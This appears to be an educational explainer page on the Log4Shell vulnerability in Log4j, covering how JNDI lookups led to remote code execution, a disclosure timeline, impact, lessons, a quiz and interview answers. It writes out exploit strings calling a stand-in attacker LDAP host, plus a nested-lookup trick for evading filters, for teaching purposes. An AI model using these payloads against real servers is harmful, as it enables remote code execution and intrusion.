Vulnerability9 Dec 2021

Log4Shell (CVE-2021-44228)

Logging a single string like ${jndi:ldap://...} could make a Java server download and run an attacker's code.

Severity
History books
Difficulty
beginner
Companies
Apache Software Foundation, Alibaba Cloud
Tech
Java, Log4j, JNDI, LDAP
Root cause
injection / unsafe parsing, insecure defaults

The story

Quick (1 min)

In December 2021, a flaw nicknamed Log4Shell was found in Log4j, a library that huge numbers of Java programs use to write log messages.

Log4j had a feature that looked for special codes inside log text and filled them in. One code, ${jndi:...}, told Log4j to fetch something from a server on the internet and load it. Programs often log things users send, like a username or browser name. So an attacker could just type that code into a chat box or web request, and when the server logged it, the server would download and run the attacker's code.

It was easy to exploit and present in a vast amount of software, from cloud services to Minecraft servers. The US cybersecurity agency's director called it one of the most serious flaws she had seen.

The lesson: never interpret user data as instructions, and know which libraries are inside your software.

Keep reading to the end to earn XP.Read. XP earned.

Engineer (2 min)

The feature. By default, Log4j 2 performed lookups: when logging a string, it replaced expressions like ${prefix:name}, for example ${java:version}. One supported prefix was JNDI (Java Naming and Directory Interface), which can fetch objects from directory services including LDAP servers anywhere on the internet.

The exploit. If attacker-controlled text reached a log call, a string like ${jndi:ldap://attacker.example/a} made Log4j contact the attacker's LDAP server and load the returned Java object data. That gives remote code execution with the app's privileges. Common vectors: the URL, the User-Agent header, form fields, and chat messages. Even data logged later by internal systems could trigger it.

Evasion. Simple filters blocking ${jndi were bypassed with nested lookups such as ${${lower:j}ndi:...}.

Versions and fixes:

  • Affected: Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3 and 2.3.1), per NVD. The flaw had existed since 2013.
  • 2.15.0 restricted lookup servers and protocols. A related flaw, CVE-2021-45046, led to 2.16.0, which disabled JNDI by default and removed message lookups. Then 2.17.0 fixed a denial-of-service bug (CVE-2021-45105).
  • Where patching wasn't possible, blocking outbound traffic from servers stopped the second stage (fetching the payload).

Discovery. Reported privately to Apache by Chen Zhaojun of Alibaba Cloud's security team on 24 November 2021. Cloudflare's CEO said scanning or exploitation evidence went back to 1 December, before public disclosure.

Interview takeaway: "feature-rich" parsing of untrusted data is an injection risk. Inventory dependencies (SBOM), patch transitive dependencies fast, and restrict outbound network access.

Keep reading to the end to earn XP.Read. XP earned.

Deep dive (2 min)

Timeline (Wikipedia, NVD, CISA)

  • 2013: the vulnerable lookup behaviour enters Log4j 2.
  • 24 November 2021: Chen Zhaojun (Alibaba Cloud) privately reports to Apache.
  • 1 December 2021: earliest evidence of scanning or exploitation, per Cloudflare's CEO.
  • 6 December 2021: fix released in Log4j 2.15.0-rc1.
  • 9 December 2021: public disclosure. The name "Log4Shell" is coined by Free Wortley of LunaSec.
  • 10 December 2021: CVE-2021-44228 published; added to CISA's KEV catalogue the same day. Apache rates it CVSS 10.0. Botnets including Muhstik, Mirai and Tsunami start scanning.
  • 15 December: Check Point reports Iran-backed hackers attempting to breach Israeli targets.
  • 17 December: CISA issues Emergency Directive 22-02 requiring federal civilian agencies to mitigate. Ransomware group Conti is observed using the flaw.
  • 20 December: per Wiz and EY, only about 45% of vulnerable cloud workloads are patched on average.
  • 24 December: deadline for US federal civilian agencies to patch.

Scale

  • Potentially "hundreds of millions of devices" (CISA's Jen Easterly).
  • Wiz and EY: 93% of enterprise cloud environments affected.
  • Affected services included AWS, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ (Wikipedia).
  • Check Point observed attempted attacks on over 40% of business networks internationally.

Government responses (Wikipedia)

  • Germany's BSI: highest threat level, an "extremely critical threat situation."
  • The Canada Revenue Agency temporarily shut online services, and Quebec closed almost 4,000 websites as a precaution.
  • China suspended Alibaba Cloud as a threat intelligence partner for six months for not reporting to the government in time.
  • The US FTC said it would pursue companies that failed to take reasonable steps to update Log4j.

Why it spread so far

Log4j was often a transitive dependency, pulled in by other libraries and products, so many organisations didn't know they had it. Finding every copy, including inside vendor appliances, took weeks or months.

Quote

"One of the most serious I've seen in my entire career, if not the most serious." (Jen Easterly, CISA director)

Keep reading to the end to earn XP.Read. XP earned.

Failure replay

Step by step, what broke and what it hit next.

  1. Since 2013
    Log4j 2degraded

    Log4j performs ${...} lookups in logged text by default, including JNDI lookups to remote LDAP servers.

    Affects: Java application

  2. Attack
    Attackercompromised

    The attacker sends ${jndi:ldap://attacker/a} in a header, URL, username or chat message.

    Affects: Java application

  3. Attack
    Java applicationcompromised

    The app logs the input as usual, and Log4j sees the lookup and contacts the attacker's LDAP server.

    Affects: Attacker LDAP server

  4. Attack
    Attacker LDAP servercompromised

    The server replies with Java object data that the application loads and executes, giving remote code execution.

    Affects: Java application

  5. Dec 10, 2021+
    Internetfailing

    Botnets mass-scan for vulnerable servers. Crypto-miners, backdoors and ransomware follow.

  6. Dec 6–18, 2021
    Log4j 2recovering

    Releases 2.15, 2.16 and 2.17 restrict, then disable, JNDI lookups and fix follow-up bugs.

  7. Weeks–months
    Java applicationrecovering

    Organisations hunt for every copy, including transitive and vendor ones, patch, and block outbound traffic where they can't.

Impact

Who was affected
Java applications using Log4j 2.0-beta9 to 2.15.0, potentially hundreds of millions of devices; 93% of enterprise cloud environments per Wiz/EY; services including AWS, iCloud, Steam and Minecraft.
How long
Vulnerable since 2013; disclosed 9 December 2021; patching and hunting took weeks to months.
Cost
not disclosed

Lessons

  • Never interpret untrusted input as instructions, even in a logging library.
  • Powerful features should be off by default (2.16.0 disabled JNDI lookups).
  • Know your dependencies, including transitive ones; keep a software bill of materials.
  • Egress filtering breaks many exploit chains that need to fetch a payload.
  • String-matching filters are easy to bypass; fix the root cause.

Quiz

  1. What feature of Log4j made Log4Shell possible?

    Check answer

    Message lookup substitution, including ${jndi:...} lookups to remote servers. Log4j replaced ${...} expressions in logged text, and JNDI lookups could load remote Java objects.

  2. How could an attacker typically trigger it?

    Check answer

    Sending a crafted string that the application logs, such as in a User-Agent header. Any attacker-controlled text that reached a log call could trigger the lookup.

  3. What CVSS score did Apache give CVE-2021-44228?

    Check answer

    10.0. Apache rated it 10.0, the maximum.

  4. What did Log4j 2.16.0 change?

    Check answer

    Disabled JNDI features and removed support for message lookups by default. 2.16.0 addressed the related CVE-2021-45046 by disabling JNDI and message lookups.

Interview prep

Try answering out loud before you open the model answer.

  1. security

    Explain how Log4Shell works and why it was so easy to exploit.

    Show model answer

    Log4j 2 performed lookups on logged strings by default, including ${jndi:...}, which could fetch Java objects from remote LDAP servers. Applications commonly log attacker-controlled data such as headers, URLs and usernames. Sending ${jndi:ldap://attacker/x} caused the server to connect to the attacker's LDAP server and load the returned Java object data, leading to remote code execution. It was easy because nothing beyond getting a string logged was needed, and Log4j was everywhere, often as a hidden transitive dependency.

    A strong answer hits:

    • Default lookups on logged strings
    • JNDI/LDAP remote loading
    • Attacker data commonly logged
    • Ubiquity and transitive dependencies
  2. system design

    A critical vulnerability is announced in a library that might be anywhere in your company's software. How do you find and fix every instance?

    Show model answer

    Use a software bill of materials and dependency scanning across repositories, build artifacts and container images, including transitive dependencies and shaded JARs. Scan running hosts for the library files. Ask vendors about their products. Prioritise internet-facing systems. Deploy temporary mitigations (WAF rules, config flags, egress blocking) while patching. Track progress centrally and verify with scanning. Afterwards, invest in continuous SBOM generation so the next search takes hours, not weeks.

    A strong answer hits:

    • SBOM and dependency scanning, including transitive
    • Runtime host and image scanning
    • Vendor inquiry
    • Mitigate while patching; track centrally
  3. security

    Why weren't WAF rules that blocked "${jndi" enough to stop Log4Shell?

    Show model answer

    Log4j evaluated nested lookups, so attackers could build the string at log time, for example ${${lower:j}ndi:...}, which slips past simple pattern matching. Payloads could also arrive through non-HTTP channels or be logged later by internal systems the WAF never sees. WAF rules buy time, but the real fixes are upgrading Log4j (or disabling lookups) and blocking outbound connections so the payload can't be fetched.

    A strong answer hits:

    • Nested lookups obfuscate payloads
    • Non-HTTP and deferred logging paths
    • Upgrade or disable lookups
    • Egress filtering as defence in depth

Go deeper